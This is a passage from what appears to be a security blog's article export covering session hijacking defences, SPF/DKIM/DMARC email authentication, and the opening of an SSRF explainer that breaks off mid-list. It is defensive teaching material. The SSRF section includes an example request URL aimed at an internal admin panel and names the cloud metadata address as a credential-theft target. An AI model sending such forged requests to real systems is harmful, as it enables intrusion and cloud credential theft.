the token is enough. On MITRE ATT&CK, theft of this credential is [Steal Web Session Cookie (T1539)](https://attack.mitre.org/techniques/T1539/), and it sits alongside credential theft precisely because the outcome is the same: account takeover. ## How tokens get stolen Attackers reach session tokens through a handful of well-worn routes. **Cross-site scripting (XSS).** If an attacker can run JavaScript in your browser on the target site, that script can read `document.cookie` and send it anywhere. XSS is the classic engine of session theft, which is why it and session hijacking are so often discussed together. A single reflected or stored script turns into full account takeover. **Network interception.** On any unencrypted hop, a party on the path can read the cookie as it travels. This is the old sidejacking attack. It is far less common now that transport encryption is near-universal, but any page served over plain HTTP, or any cookie not marked to require encryption, reopens the door. **Malware and infostealers.** Modern infostealer malware skips the network entirely and reads cookies straight out of the browser's storage on a compromised machine. This has become a mass-market attack, because a stolen session cookie sidesteps both the password and any multi-factor prompt. The victim already passed those checks; the malware just takes the result. See [What Is an Infostealer](/what-is-an-infostealer) for how that trade works. **Predictable or leaked tokens.** If session IDs are short, sequential, or generated from something guessable, an attacker can produce valid ones without stealing anything. Tokens can also leak through referrer headers, logs, or URLs when an application puts the session ID in the query string instead of a cookie. ## Fixation is the mirror image There is a related attack that runs the theft backwards. Instead of stealing a token the victim already has, the attacker plants a token they already know and waits for the victim to authenticate it. That is session fixation, and it works whenever an application keeps the same session ID before and after login. The defense overlaps heavily with hijacking, and the two are worth reading together. See [Session Fixation Explained](/session-fixation-explained). ## What replay looks like Once a token is in hand, the attack is trivial. The attacker sets the stolen cookie in their own browser or drops it into a request with a tool, and sends a request to the application. The server validates the token, finds a live session, and serves the victim's authenticated pages. No login screen, no prompt. | Theft route | Where it happens | Primary defense | |---|---|---| | Cross-site scripting | Victim's browser | HttpOnly cookies, output encoding, CSP | | Network interception | Network path | HTTPS everywhere, Secure cookie flag | | Infostealer malware | Victim's device | Endpoint security, token binding, short lifetimes | | Predictable token | Attacker's machine | High-entropy random session IDs | | Cross-site leakage | Third-party site | SameSite cookie attribute | Multi-factor authentication protects the login. It does nothing for a session that is already authenticated. An attacker replaying a stolen token never sees the login screen, so the second factor is never asked for. This is why cookie theft has become the infostealer economy's favourite product, and why token protection matters as much as strong login. ## Tokens as JWTs Many modern applications carry session state in a signed JSON Web Token rather than an opaque server-side session ID. That changes the theft surface: a stolen JWT is just as replayable, and a badly validated one can sometimes be forged outright. The hijacking principles here still apply, plus a set of signature and validation issues specific to the format. See [JWT Attacks Explained](/jwt-attacks-explained). ## A worked example of a hijack Tracing a single hijack end to end makes the abstract routes concrete. Consider the most common modern path, an XSS bug feeding cookie theft, described conceptually rather than as working exploit code. A web application has a comment field that echoes user input back onto the page without proper encoding. An attacker posts a comment containing a script. When any other logged-in user loads the page, their browser runs that script in the context of the application's origin. Because the script runs as the site, it has access to everything the site's own JavaScript can reach, including the session cookie, unless that cookie is protected. The script reads the session cookie and sends it to a server the attacker controls, typically by appending it to a request for an image or a background fetch to an external host. The victim notices nothing. The page renders normally, the comment looks ordinary, and the theft happens in the background in milliseconds. The attacker now holds the victim's session token. They open their own browser, set a cookie for the target domain with the stolen value, and load the application. The server receives a request carrying a valid, live session identifier, looks it up, finds the victim's authenticated session, and serves the victim's account pages. The attacker never saw a login form, never entered a password, and was never prompted for a second factor. From the server's perspective, the returning request is indistinguishable from the real user. The step that makes the whole example work is the script reading the cookie. Marking the session cookie HttpOnly removes the cookie from the reach of JavaScript entirely, so `document.cookie` cannot see it and the theft step fails even though the XSS bug still exists. That is why HttpOnly is the single highest-value session setting: it severs the most common theft route at its narrowest point, independent of whether every XSS bug has been found and fixed. ## Where the token lives, and why it matters A session token can ride in several places, and each location changes the theft surface. Knowing which one an application uses tells you which defenses are relevant. | Storage location | How the token is sent | Main exposure | |---|---|---| | Cookie without HttpOnly | Automatically on every request | Readable by any script on the page | | Cookie with HttpOnly | Automatically on every request | Hidden from scripts, still sent in requests | | Local storage or session storage | Attached by application code | Always readable by scripts, a poor choice for tokens | | URL query string | In the address itself | Leaks through logs, referrer headers, and shared links | | Authorization header | Attached by application code | Depends on where the code keeps the token | The pattern in that table is that any location a script can read is a location an XSS bug can steal from. Cookies with HttpOnly are the only common option that keeps the token out of script reach while still sending it automatically. Storing a session token in local storage is a frequent mistake precisely because local storage is always script-readable, so an XSS bug hands the attacker the token directly. Putting a session identifier in the URL is worse still, because URLs end up in server logs, browser history, and the referrer header sent to other sites, leaking the token through channels nobody is watching. ## Why defenses fail when they are half-applied The controls against session hijacking work as a set, and each has a specific gap when it stands alone. Understanding the gaps explains why layering is not optional. HttpOnly without Secure leaves the network path open. The cookie is safe from scripts, but if it is sent over an unencrypted connection, anyone on the path can read it in transit. Secure without HttpOnly leaves the script path open. The cookie only travels encrypted, but an XSS bug reads it before it ever hits the network. Neither flag covers the other's gap. SameSite reduces cross-site leakage but does nothing about theft that happens on the site itself. It stops the cookie from being attached to requests originating from other sites, which blunts cross-site request forgery and some leakage, yet an XSS bug running on the target origin is not a cross-site context, so SameSite does not stop it. High-entropy tokens defeat guessing but not theft. A long random session identifier cannot be enumerated, which closes the predictable-token route, but a stolen token is stolen regardless of how random it was. Entropy protects against one route and is silent on the others. Short lifetimes and revocation shrink the value of a stolen token without preventing the theft. If a token expires quickly or can be invalidated server-side, a thief has a narrow window to use it, which is genuinely valuable. It does not stop the token from being taken, so it works only in combination with the controls that make theft harder in the first place. The conclusion is that no single setting is sufficient. HttpOnly, Secure, SameSite, high entropy, rotation, and short revocable lifetimes each close a different route, and an attacker only needs one open route. The defense is the full set applied together. ## Common mistakes and misconceptions A few recurring errors leave sessions exposed even in applications that look carefully built. The first is trusting multi-factor authentication to protect the session. MFA protects the login event. Once a session exists, it is a bearer token, and a stolen one is replayed without any login, so the second factor is never consulted. Teams sometimes treat MFA as a complete answer to account takeover and neglect session protection, which leaves the exact gap that infostealers exploit. The second is storing the token in local storage for convenience. Frameworks and tutorials sometimes suggest keeping a token in local storage so client code can read it. That decision makes the token permanently script-readable and turns any XSS bug into instant account takeover. A cookie with HttpOnly, Secure, and SameSite is the safer default for a session token. The third is regenerating the session identifier at login but nowhere else. Regeneration at login defeats fixation, but privilege changes also matter. Stepping into an admin area or re-authenticating for a sensitive action without rotating the token lets an earlier, lower-privilege session ride into a higher-privilege state. Rotation belongs at every trust boundary, with the first login being just one of them. The fourth is clearing the cookie at logout without destroying the session server-side. If logout only removes the cookie from the browser, the token itself is still valid on the server, and anyone who captured it earlier can keep using it. Logout must invalidate the session in server-side state, not merely clear the client's copy. ## How to detect a hijacked session Prevention is the priority, and detection is the backstop for the cases prevention misses. Several signals point to a session being used by someone other than its owner. - **A single session used from two distant locations at once.** A session active from two far-apart network locations within a span too short to travel between them suggests the token is being shared, which is the signature of a stolen cookie in use. - **An abrupt change in device or client fingerprint mid-session.** A session that begins on one browser and operating system and continues on a different one, without a fresh login, is a strong indicator the token moved to another machine. - **Sudden sensitive actions without re-authentication.** A session that jumps straight to changing account settings, adding a recipient, or exporting data, with no matching step-up authentication, is worth flagging. - **Session activity that outlasts the user.** Requests continuing on a session after the user's own device has gone idle or logged out can indicate a second holder of the same token. - **A spike in requests to session-bearing endpoints from unusual infrastructure.** Access arriving from hosting providers or anonymizing infrastructure, rather than the residential paths a user normally comes from, can mark replayed tokens. None of these is conclusive alone, and each can have an innocent explanation, so the value is in correlation and in tying a suspicious signal to an action that re-verifies the user. Binding the session to context and re-authenticating for sensitive actions turns several of these signals into automatic friction for a thief. The practical challenge is false positives. Users legitimately switch networks, travel, and move between devices, so any single signal fires often enough that acting on it in isolation harms real users. The workable approach is to weight signals together and to respond with graduated friction rather than an immediate block. A mild anomaly might trigger a re-authentication prompt for the next sensitive action, while a strong combination, such as a distant location paired with a changed device fingerprint and an immediate attempt to change account settings, justifies suspending the session outright. Tuning that balance is the real work of session-hijacking detection, because the goal is to make a stolen token expensive to use without making a normal session annoying to hold. ## How to defend against session hijacking The goal is twofold: make the token hard to steal, and make a stolen token expensive to use. Layer these controls rather than relying on any single one. 1. **Mark cookies HttpOnly.** This blocks JavaScript from reading the cookie, which removes XSS as a token-theft route even when an XSS bug exists. It is the single highest-value setting. 2. **Mark cookies Secure.** The browser then sends the cookie only over encrypted connections, closing the network-interception path. 3. **Set SameSite.** `SameSite=Lax` or `Strict` stops the cookie from riding along on cross-site requests, cutting off cross-site leakage and blunting related cross-site attacks. 4. **Generate high-entropy tokens.** Use a long, cryptographically random session ID so tokens cannot be guessed or enumerated. Let your framework's session manager produce it rather than rolling your own. 5. **Regenerate the session ID on login and on privilege change.** A fresh token at each trust boundary defeats fixation and limits how long any earlier token is valid. 6. **Keep sessions short and revocable.** Enforce absolute and idle timeouts, and keep server-side state so you can invalidate a session immediately on logout or on suspicion of theft. A token that expires in minutes is worth little to a thief. 7. **Bind the session to context where you can.** Tying a session to properties that are hard to replay, and re-authenticating for sensitive actions, raises the cost of replay even after theft. 8. **Fix the XSS.** Since XSS is the main theft engine, output encoding, input validation, and a strict Content Security Policy do double duty as session-protection controls. Strong authentication and strong session management are two different jobs. Multi-factor login stops password attacks; HttpOnly, Secure, SameSite cookies plus rotation and short lifetimes stop token attacks. Do both. A hardened login in front of a sloppy session is still a full account takeover waiting to happen. Session hijacking rewards attackers because it converts one stolen string into complete account access, no credentials required. The economics are stark: our Exploit Intelligence dashboard tracks how quickly credential and session-theft techniques move from disclosure to active use, and stolen-cookie access consistently sits among the fastest to be weaponised. Treat the session token as the sensitive credential it is, harden the cookie, rotate it at every trust boundary, and keep its lifetime short, and a token that does get stolen is worth little by the time anyone tries to use it. ## Frequently asked questions **Does HTTPS alone stop session hijacking?** No. HTTPS closes the network-interception route by encrypting the token in transit, which is important, but it does nothing about the other routes. An XSS bug reading the cookie, an infostealer lifting it from disk, or a predictable token generated on the server are all untouched by transport encryption. HTTPS is necessary and not sufficient, which is why it sits alongside HttpOnly, SameSite, high entropy, and short lifetimes rather than replacing them. **If I have multi-factor authentication, why do I still need session protection?** Because the two protect different moments. Multi-factor authentication verifies the person at login. The session token that login produces is a bearer credential used for the rest of the visit, and a stolen token is replayed without any login at all, so the second factor is never asked for. This is exactly why infostealers target cookies: a stolen session sidesteps both the password and the second factor by arriving after both were already satisfied. **Is storing a session token in local storage safe?** It is a poor choice. Local storage is always readable by JavaScript, so any cross-site scripting bug can read the token directly and no flag can hide it. A cookie marked HttpOnly is kept out of script reach while still being sent automatically, which is why an HttpOnly, Secure, SameSite cookie is the safer default for a session token than local storage. **How is session hijacking different from session fixation?** In hijacking, the attacker steals a token the victim already holds and replays it. In fixation, the attacker plants a token they already know and waits for the victim to authenticate it. Hijacking happens after login, fixation before it. The defenses overlap heavily, and regenerating the session identifier at login helps against both. The fixation case is covered in full in [Session Fixation Explained](/session-fixation-explained). **Can a stolen session token be used forever?** Only for as long as the session remains valid. If the application enforces short absolute and idle timeouts and keeps server-side state that can be invalidated, a stolen token stops working when the session expires or when the session is revoked. If sessions are long-lived and cannot be revoked server-side, a stolen token can be usable for a long time, which is why short, revocable sessions are a core control. **Does logging out protect me if my token was already stolen?** Only if logout destroys the session on the server. If logout merely clears the cookie in your browser, the token itself is still valid and an attacker who captured it earlier can keep using it. A correct logout invalidates the session in server-side state, which is what actually revokes a token that has already been stolen. **Are JWT sessions safer against hijacking?** Not inherently. A stolen JSON Web Token is just as replayable as a stolen opaque session identifier, and a JWT held in a script-readable location is exposed to the same XSS theft. JWTs add their own signature and validation concerns on top. The hijacking defenses still apply, plus the format-specific issues covered in [JWT Attacks Explained](/jwt-attacks-explained). ## Related guides - [The Okta Breaches](/okta-breaches-explained) - [What Is an Infostealer](/what-is-an-infostealer) - [Session Fixation Explained](/session-fixation-explained) - [JWT Attacks Explained](/jwt-attacks-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) ### Sources - OWASP: Session Hijacking Attack (OWASP): https://owasp.org/www-community/attacks/Session_hijacking_attack - OWASP Session Management Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html - MITRE ATT&CK: Steal Web Session Cookie (T1539) (MITRE): https://attack.mitre.org/techniques/T1539/ --- ## SPF, DKIM, and DMARC Explained: Stopping Email Spoofing > How the three email authentication standards work together to stop spoofing, what each one checks, and how to set them up without breaking your mail. - URL: https://blog.pwnsy.com/spf-dkim-dmarc-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: spf, dkim, dmarc, email-security, spoofing - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - SPF, DKIM, and DMARC are three DNS-based standards that together let a receiving mail server check whether a message really came from the domain it claims. - SPF authorizes which servers may send for your domain. DKIM signs messages so tampering and forgery are detectable. DMARC ties them to the visible From address and tells receivers what to do on failure. - SPF and DKIM alone do not protect the address users actually see. DMARC is the piece that closes that gap and gives you reporting. - Deploy in order, start DMARC in monitor mode, read the reports, then tighten to quarantine and reject once legitimate mail passes. ### Key Takeaways - SPF is a DNS TXT record listing authorized sending IPs, checked against the envelope sender (the return-path domain). - DKIM attaches a cryptographic signature to each message using a private key, verified by receivers against a public key in your DNS. - DMARC requires alignment: the domain that passes SPF or DKIM must match the visible From domain, which is what stops header spoofing. - DMARC policies are none (monitor), quarantine (send to spam), and reject (block outright), and the reports show you who is sending as you. - Roll out gradually and watch aggregate reports, because a premature reject policy will bounce legitimate mail from services you forgot about. Email was designed in an era of trust, which is why forging the sender of a message is trivially easy by default. Anyone can put your domain in the From line. The three standards in this guide, SPF, DKIM, and DMARC, are how a domain owner fights back, letting receiving servers verify that a message claiming to come from you actually did. Deploy all three correctly and you make it very hard for an attacker to spoof your domain, and you gain visibility into who is trying. Each standard does one job, and they only deliver their full value together. This guide explains what each checks, how they combine, and how to roll them out without knocking your own mail offline. ## The problem: two different From addresses To understand these standards you have to know that an email carries two sender addresses, and they can differ. The **envelope sender** (also called the return-path or MAIL FROM) is used during delivery, between mail servers. Users never see it. The **header From** is the address shown in the mail client. It is what a person reads and trusts. Spoofing exploits the gap. An attacker can pass some checks on the envelope sender while putting your domain in the header From that the victim sees. Keeping those two in agreement is exactly the problem DMARC was created to solve, which is why SPF and DKIM alone are not enough. ## SPF: who is allowed to send Sender Policy Framework, defined in RFC 7208, lets you publish the list of servers authorized to send mail for your domain. You put it in a DNS TXT record. A simple one looks like this: ``` v=spf1 include:_spf.example-provider.com ip4:203.0.113.5 -all ``` That says: mail for this domain may come from the provider referenced by the `include`, and from the listed IP, and everything else fails (`-all`). When a receiver gets a message, it looks up the SPF record for the envelope sender domain and checks whether the connecting server's IP is authorized. SPF has two well-known limits. It authorizes the **envelope sender**, not the visible From, so on its own it does not protect what the user sees. And it breaks on forwarding, because a forwarding server relays your mail from an IP you never listed. These limits are precisely why DKIM and DMARC exist alongside it. ## DKIM: sign the message DomainKeys Identified Mail, defined in RFC 6376, adds a cryptographic signature to each outgoing message. Your mail server signs selected headers and the body with a **private key**, and attaches the signature in a `DKIM-Signature` header. You publish the matching **public key** in DNS. A receiver reads the signature, fetches your public key from DNS, and verifies it. If it validates, two things are established: the message genuinely came from a system holding your domain's private key, and the signed content was not altered in transit. Because the signature travels with the message, DKIM survives forwarding in a way SPF does not, since it does not depend on the sending IP. For the underlying mechanism, see [How Digital Signatures Work](/how-digital-signatures-work). DKIM's own gap mirrors SPF's: a valid DKIM signature proves a message was signed by some domain, but it does not by itself require that domain to match the From address the user sees. Again, that is DMARC's job. SPF authorizes the envelope sender. DKIM authenticates a signing domain. Neither one, on its own, requires either of those to match the From address the recipient actually reads. An attacker can satisfy a check on a domain they control while spoofing your domain in the visible header. DMARC is the standard that forces the match and closes this exact gap. ## DMARC: tie it to what the user sees Domain-based Message Authentication, Reporting, and Conformance, defined in RFC 7489, sits on top of SPF and DKIM and adds the two things they lack: alignment and instructions. **Alignment** is the core idea. DMARC passes only if the domain that passed SPF or DKIM matches the domain in the visible From address. So it is no longer enough for a message to pass SPF or DKIM on some domain; that domain has to line up with the From the user sees. This is what actually stops header spoofing of your domain. A DMARC record is another DNS TXT entry: ``` v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com ``` The `p` tag is the **policy**, the instruction to receivers on what to do when a message claiming your domain fails DMARC: | Policy | Receiver behaviour | When to use | |---|---|---| | `none` | Deliver as normal, just report | Monitoring, the starting point | | `quarantine` | Send to spam or junk | After legitimate mail passes cleanly | | `reject` | Block the message outright | The end state, full protection | The `rua` tag is where **aggregate reports** are sent. Receivers email you daily summaries of what passed and failed under your domain, including the sending IPs. These reports are the single most useful part of a rollout, because they show you every service sending as you, including the ones you forgot about. Two more DMARC tags are worth setting deliberately. The `sp` tag sets the policy for subdomains, which by default inherit the main policy, so a domain locked to `reject` still needs its subdomains covered or an attacker will spoof `mail.example.com` instead of `example.com`. The `pct` tag applies your policy to a percentage of mail rather than all of it, which lets you ramp enforcement gradually, for example quarantining a quarter of failures first to watch the effect before taking it to the full set. Used together they turn a policy change from a cliff into a slope. ## How the three fit together Here is the whole picture in one pass. A receiver gets a message claiming to be from you. It checks SPF against the envelope sender and verifies any DKIM signature. Then DMARC asks: did SPF or DKIM pass, and does the passing domain align with the visible From. If yes, the message is authenticated as genuinely yours. If no, the receiver applies your DMARC policy, monitor, quarantine, or reject, and logs it in a report back to you. | Standard | What it checks | Protects the visible From | Survives forwarding | |---|---|---|---| | SPF | Sending IP vs authorized list | No, on its own | No | | DKIM | Cryptographic signature | No, on its own | Yes | | DMARC | Alignment + policy + reporting | Yes | Uses whichever of SPF/DKIM aligns | The takeaway is that DMARC does not replace SPF and DKIM; it depends on them. It needs at least one of them to pass and align. That is why all three go together. ## How to deploy without breaking your mail The failure mode here is real and common: a rushed `reject` policy bounces legitimate mail from a newsletter tool, a support desk, or an invoicing service you did not know sent mail as you. Roll out in order and let the reports guide you. 1. **Publish SPF.** List every service that legitimately sends for your domain, using `include` mechanisms for providers. Start with `~all` (soft fail) if you are unsure, then move to `-all` once the list is complete. 2. **Enable DKIM.** Turn on signing at your mail provider and publish the public keys they give you. Confirm outgoing mail is signed and verifies. 3. **Publish DMARC at `p=none`.** This changes nothing about delivery. It just starts the aggregate reports flowing to your `rua` address. 4. **Read the reports for a few weeks.** Identify every legitimate sender, and fix any that fail SPF or DKIM alignment. This is where you discover the forgotten services. 5. **Move to `p=quarantine`.** Once legitimate mail passes cleanly, tell receivers to junk the failures. Watch the reports for fallout. 6. **Move to `p=reject`.** When quarantine has been stable, tighten to full rejection. Now spoofed mail using your domain is blocked outright. Never jump straight to `p=reject`. Start at `p=none`, read the aggregate reports until you can account for every legitimate sender, then tighten in stages. The reports are the whole point of starting soft. They turn a risky change into a measured one and stop you from bouncing your own invoices. These records blunt domain spoofing, but attackers respond by moving to lookalike domains and other tricks covered in [What Is Phishing](/what-is-phishing) and [AI Phishing Attacks](/ai-phishing-attacks). Our Exploit Intelligence dashboard tracks live vulnerabilities across mail servers and email security gateways, so you can see which flaws in the systems handling your mail are actually being exploited. ## A walkthrough of one message being judged Follow a single message from an attacker who is trying to spoof your domain, and watch where each standard catches it. The attacker connects to a recipient's mail server and announces an envelope sender on a domain they control, while placing your domain in the visible From header that the victim will read. The message carries no valid DKIM signature for your domain, because the attacker does not hold your private key. The receiving server runs SPF against the envelope sender domain. That domain belongs to the attacker, so SPF may well pass, since the attacker can publish a permissive SPF record for their own domain. SPF has done its job correctly and it has told us nothing about the header the victim sees, which is the gap. Next the server checks DKIM. There is no signature that validates against your domain's public key, so DKIM does not produce a pass aligned to your domain. Now DMARC asks its question: did SPF or DKIM pass on a domain that aligns with the visible From. SPF passed, but on the attacker's domain, which does not match your domain in the From line. DKIM did not pass on your domain either. Alignment fails, so DMARC fails, and the receiver applies your published policy. If your policy is at reject, the spoofed message is blocked outright and never reaches the victim. If it is at quarantine, the message lands in spam. If it is still at none, the message is delivered, and a report of the failure is sent to your aggregate address so you can see the attempt. The same walkthrough shows why SPF and DKIM alone leave a hole: both can pass on a domain the attacker controls while your domain sits unprotected in the header. DMARC is the step that forces the passing domain to line up with what the recipient actually reads. ## Reading an aggregate report The aggregate reports that arrive at your rua address are XML summaries, one per reporting receiver per day, and they are the instrument that makes a safe rollout possible. Each report groups mail by sending source and records, for each group, the sending IP, how many messages it sent, and whether they passed SPF and DKIM with alignment. Learning to read them is the core skill of a DMARC deployment. The picture you are building is an inventory of every source sending mail that claims your domain. Some sources you will recognize immediately: your own mail provider, your newsletter platform, your invoicing or support system. Each of these should show passing, aligned results once configured correctly. Sources that fail alignment fall into two groups. The first is legitimate services you forgot about or misconfigured, and the fix is to bring them into your SPF record or enable DKIM signing for them. The second is unauthorized senders, which may be spammers or spoofers using your domain, and these are exactly the mail your eventual reject policy will block. Aggregate reports summarize authentication results by source and volume. They do not contain message subjects, bodies, or recipient lists, so they are a privacy-respecting operational feed rather than a copy of your mail. A separate and optional forensic report type can carry sample failing messages, and many operators skip it for privacy reasons. Treat the aggregate feed as your primary rollout instrument and read it until every legitimate source passes cleanly. ## Detection and monitoring signals Beyond the initial rollout, the reports and your mail logs give ongoing signals worth watching. - **A new sending source appearing in reports.** An IP or provider you do not recognize starting to send as your domain is either a service someone in your organization enabled without telling you, or a spoofing attempt. Both deserve a look. - **A rise in DMARC failures for your domain.** A sustained increase in failing, unaligned mail claiming your domain often indicates an active spoofing campaign using your name, which is useful early warning even when your reject policy is already blocking it. - **A legitimate source slipping from pass to fail.** A provider that was passing and begins to fail alignment usually signals a configuration change on their side, a rotated DKIM key, or a new sending IP outside your SPF record. Catching it in reports prevents your own mail from being quarantined. - **Subdomain activity.** Mail claiming subdomains you do not actively use can indicate an attacker choosing a subdomain because they expect it to be less protected. This is why the subdomain policy tag matters. ## Common mistakes **Jumping straight to reject.** Publishing a reject policy before reading reports bounces legitimate mail from services you did not know were sending as you. Start at none, account for every legitimate source, then tighten in stages. **Leaving SPF at soft fail forever.** Starting with a soft fail while you build the authorized list is sensible. Staying there indefinitely weakens the record, because a soft fail asks receivers to accept and mark rather than reject unauthorized mail. Move to a hard fail once the list is complete. **Forgetting subdomains.** A domain locked to reject still leaves its subdomains exposed if the subdomain policy is not set, and an attacker will happily spoof a subdomain instead. Set the subdomain policy deliberately rather than relying on inheritance you have not confirmed. **Overstuffing the SPF record.** SPF evaluation has a limit on the number of DNS lookups it will perform, and a record packed with many nested includes can exceed it, causing SPF to fail even for legitimate mail. Keep the record lean and consolidate providers where you can. **Treating DKIM keys as set-and-forget.** Keys should be rotated periodically, and a rotation done carelessly can break signing until the new public key propagates in DNS. Plan rotations, publish the new key before switching, and watch reports through the change. ## How email authentication evolved The standards arrived in layers, each answering a gap the previous one left. SPF came first, giving domain owners a way to declare which servers were authorized to send for them. It worked against the crudest spoofing and it left two holes: it authorized the invisible envelope sender rather than the visible From, and it broke when mail was forwarded. DKIM followed with a cryptographic signature that traveled with the message, surviving forwarding and proving the content was unaltered, and it left its own gap: a valid signature proved some domain signed the message without requiring that domain to match the From address the user reads. DMARC was designed specifically to close the alignment gap that SPF and DKIM shared, tying the passing domain to the visible From and adding an instruction to receivers plus a reporting channel back to the domain owner. Together the three form a layered system where each covers a weakness in the others. The reporting channel proved to be as valuable as the enforcement, because it gave operators the visibility to deploy safely and to see who was sending as them. The direction of travel since has been toward wider adoption of reject policies and richer tooling for reading reports, as more receivers enforce DMARC and more senders complete the journey from monitor to full enforcement. ## Frequently asked questions **Do I need all three, or is one enough?** You need all three working together. SPF and DKIM each authenticate something, and neither on its own requires the authenticated domain to match the From address the recipient sees. DMARC supplies that alignment requirement plus policy and reporting, and it depends on at least one of SPF or DKIM passing and aligning, so the three are a set. **Why does SPF break on forwarding?** SPF checks the connecting server's IP against your list of authorized senders. When a message is forwarded, the forwarding server relays it from an IP you never listed, so SPF fails for that hop. DKIM survives forwarding because its signature travels with the message and does not depend on the sending IP, which is one reason the two standards complement each other. **What is DMARC alignment in plain terms?** Alignment means the domain that passed SPF or DKIM has to match the domain in the visible From address. Without alignment, an attacker could pass a check on a domain they own while showing your domain to the victim. Requiring the match is what actually protects the address your recipients read. **Is it safe to start at a reject policy?** It is risky. A reject policy takes effect immediately on every receiver that honors it, and any legitimate service you forgot to authorize will have its mail blocked. Start at none, read the aggregate reports until you can account for every legitimate sender, then move through quarantine to reject on the evidence. **What does the percentage tag do?** It applies your policy to a fraction of failing mail rather than all of it, which lets you ramp enforcement gradually. Quarantining a portion of failures first shows you the effect on a smaller slice before you take the policy to the full volume, turning a sudden change into a measured one. **Will these standards stop all phishing?** They stop exact spoofing of your domain, which is a significant category. They do not stop lookalike domains, display-name tricks, or compromised legitimate accounts, so attackers shift to those once your domain is locked down. Pair strong authentication with user awareness and the broader controls covered in the phishing guides. **How long should I stay in monitor mode?** Long enough to see a full cycle of your legitimate mail and account for every sender in the reports, which is commonly a few weeks and depends on how many services send as you. The goal is confidence that no legitimate source is failing alignment before you begin quarantining, rather than a fixed calendar date. Organizations with many sending services and seasonal mail, such as quarterly invoicing or annual campaigns, may need to watch longer to catch sources that only send occasionally. A source that sends once a quarter will not appear in the reports until it does, so a rollout that ends too soon can quarantine legitimate mail the first time a rare sender fires. ## The bottom line SPF says which servers may send for you. DKIM signs your messages so forgery and tampering are detectable. DMARC forces those checks to line up with the address your recipients actually see, tells receivers what to do when they do not, and reports back who is sending as you. Deploy all three, roll DMARC out from monitor to reject on the evidence of the reports, and you take domain spoofing off the table for your organization. For the wider setup, see the [Email Security Guide](/email-security-guide). ## Related guides - [Email Security Guide](/email-security-guide) - [What Is Phishing](/what-is-phishing) - [AI Phishing Attacks](/ai-phishing-attacks) - [Best Secure Email](/best-secure-email) ### Sources - Sender Policy Framework (SPF) (RFC 7208) (IETF): https://datatracker.ietf.org/doc/html/rfc7208 - DomainKeys Identified Mail (DKIM) Signatures (RFC 6376) (IETF): https://datatracker.ietf.org/doc/html/rfc6376 - Domain-based Message Authentication, Reporting, and Conformance (DMARC) (RFC 7489) (IETF): https://datatracker.ietf.org/doc/html/rfc7489 --- ## SSRF Explained: Server-Side Request Forgery & Cloud Metadata > How server-side request forgery works, why it's so dangerous in the cloud, basic vs blind SSRF, real impact like stealing cloud credentials, and how to defend. - URL: https://blog.pwnsy.com/ssrf-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: ssrf, web-security, owasp, cloud-security, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification) ### TL;DR - SSRF tricks a server into making HTTP requests the attacker chooses, turning a trusted backend into a proxy that reaches internal systems the attacker cannot touch directly. - The highest-impact SSRF targets cloud metadata endpoints, where a single forged request can hand over temporary cloud credentials. - Blind SSRF returns no response to the attacker, but it is still exploitable through timing, out-of-band callbacks, and internal side effects. - The only robust defense is to validate and allowlist outbound destinations on the server, not to filter the user's input for bad-looking URLs. ### Key Takeaways - SSRF earned its own category in the OWASP Top 10 because of how consistently it leads to full cloud compromise. - Deny-by-default outbound allowlisting beats blocklisting internal IP ranges, which attackers bypass with redirects, DNS rebinding, and alternate IP encodings. - Enforcing IMDSv2 (or the equivalent) removes the easy path to cloud credential theft via the metadata service. - SSRF often hides in features that fetch a URL: webhooks, link previews, PDF generators, image proxies, and import-from-URL flows. - Network segmentation limits the blast radius when application-layer controls fail. Give an application a feature that fetches a URL, and you may have handed an attacker a way to reach every system that application can reach. That is server-side request forgery, SSRF, and in cloud environments it has become one of the highest-impact web vulnerabilities there is. The mechanics are almost embarrassingly simple, which is part of why the bug is so common. The damage, on the other hand, can be total. ## The core idea Many applications make outbound requests on the user's behalf. A webhook that calls back to a URL you provide. A "preview this link" feature. A PDF generator that renders a page you specify. An avatar uploader that accepts an image URL. In each case, the **server** makes the request, using the server's network position and the server's trust. SSRF is what happens when the attacker controls where that request goes. Instead of pointing the feature at a normal external URL, they point it inward: ``` https://your-app.example/fetch?url=http://internal-admin-panel.local/ ``` The internal admin panel is not reachable from the public internet. Firewalls see to that. The application server, sitting inside the network, reaches it easily. By forging the request through the trusted server, the attacker borrows its access. A backend that was meant to fetch public images becomes a proxy into the internal network. ## Why the cloud made SSRF critical SSRF existed for years as a moderate-severity nuisance. Cloud computing turned it into a crown-jewels bug, because of one design choice shared across the major providers: the **instance metadata service**. Cloud virtual machines can query a special internal address to learn about themselves, including, on default configurations, temporary credentials for the role the instance is running as. That address is reachable only from the instance itself. Which is to say, reachable from any process on the instance, including a web app with an SSRF flaw. Chained together, the attack is short and brutal: SSRF the application into requesting the metadata endpoint, read back the temporary cloud credentials, then use them to act as the instance across the cloud account. On MITRE ATT&CK this is [Cloud Instance Metadata API abuse (T1552.005)](https://attack.mitre.org/techniques/T1552/005/), and it has featured in some of the largest cloud breaches on record. The link-local metadata address `169.254.169.254` is the single most valuable SSRF target in a cloud environment. Any application that fetches user-supplied URLs and can reach that address is one forged request away from leaking cloud credentials. Enforcing IMDSv2, which requires a session token and blocks the naive request, closes this specific door. ## Basic vs blind SSRF **Basic (in-band) SSRF** returns the response of the forged request to the attacker. They see the internal admin page, the metadata output, the internal API response. This is the easiest to exploit and the easiest to notice. **Blind SSRF** does not return the response. The application makes the request but discards the body, or only tells you whether it succeeded. It is still exploitable: - **Out-of-band detection.** Point the request at a server the attacker controls and watch for the callback. If it arrives, the SSRF is real, and the source IP and DNS lookups reveal internal details. - **Timing.** A request to an open internal port responds differently from a closed one. 